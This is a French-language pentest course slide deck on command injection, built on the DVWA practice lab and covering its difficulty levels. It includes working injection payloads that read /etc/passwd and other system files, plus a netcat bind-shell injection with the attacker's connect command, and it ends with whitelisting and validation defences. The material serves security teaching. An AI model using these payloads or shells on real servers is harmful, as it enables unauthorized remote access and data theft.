Skip to content
Snippets Groups Projects

Command execution

aka command injection

CMDi

  • paramètres non filtrés

    • la commande est écrite en dur
      • exécution de commandes arbitraires sur le serveur
      • exécutée avec les droits du serveur (thread)
  • triviale mais assez rare

CMDi / low

  • Unix
    • Pipeline
      • redirection la sortie standard: |
      • redirection la sortie d'erreur: |&
    • List
      • séparateur de commande: ;
      • arrière plan: &
      • et logique: &&
      • ou logique: ||

CMDi / low

localhost && ls
; whoami
localhost | id
  • le réseau est également explorable

Note:

  • dvwa à brutforcer
  • il faut injecter des commandes que le server connait
    • win/unix/linux/bsd/solarix/aix
      • pool de commandes par défaut
  • l'enchainement d'exlpoits est laisser à l'imagination du pentester
    • plus il est expérimenté plus il peut créer des attques complexes
      • plus il peut aller loin dans l'exploitation
  • Regarder le code
    • Que peut on faire pour améliorer
      • DVWA Security -> medium

CMDi / medium

les chaînes de caractères "&&" et ";" sont interdites

# Pour y voir plus clair
localhost | ls
# Plus intéressant
localhost | pwd & whoami & ps
localhost | uname -a & users & id & w
localhost | cat /etc/group
localhost | cat /etc/passwd

Note:

  • approche liste noire toujours perdante
    • liste de caractère à échapper
  • résultat visible
    • affiché dans la page
      • méga rare
  • aveugle
    • certaines pas faciles à détecter
      • adduser / mkdir lors de la création de compte
        • un username se terminant par
          • ;cmd
    • ping réseau
      • on sait si ca a marcher avec le temps d'exécution du ping
        • si ca rame au chargement de la page
          • c'est que le ping est en train de s'exécuter à l'infini
      • sinon sniffer le ping de retour
        • si pas bloqué
      • ping -c3 127.0.0.1 pour mémoire
    • résolution dns d'un domaine maitrisé connu de nous seul
  • Regarder le code
    • Que peut on faire pour amliorer
      • DVWA Security -> high

CMDi / high

localhost|ls

Note: -détailler l'expression régulière

CMDi / impossible

  • l'approche est ici différente
    • on ne cherche plus à éliminer les caractères dangereux
    • on cherche à valider que l'entrée est bien une IP
$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string);

Note: -détailler l'expression régulière

bind shell

  • ex netcat
sudo apt install ncat
  • injecter
1 | ncat -v -e '/bin/bash' -l -p 8080
  • puis sur le terminal de l'attaquant
ncat -v vm-etu-vimazeno.local.isima.fr 8080
  • \o/ accès distant à la machine
    • avec les permissions de l'utilisateur www-data

Note:

  • revenir en medium ou low security
    • on peut le faire avec cookie manager +
  • netcat couteau suisse réseau
    • permet d'écrire sur un port
  • soumis a pas mal de condition en vérité
    • marche que dans un sens
      • DMZ coupe tout le sortant
      • reste possible dans ce sens
      • mais faut passer d'eventuels friewalls
      • et netcat peu avoir été supprimé

Se préserver

Note:

  • faire marcher le bon sens
  • Note le cron de drupal est pourri parce qu'appelable via des url
    • utiliser le cron system

Se préserver

  • utiliser des listes blanches plutôt que des listes noires
  • utiliser cron pour les traitements récurrents
  • ne pas installer netcat ...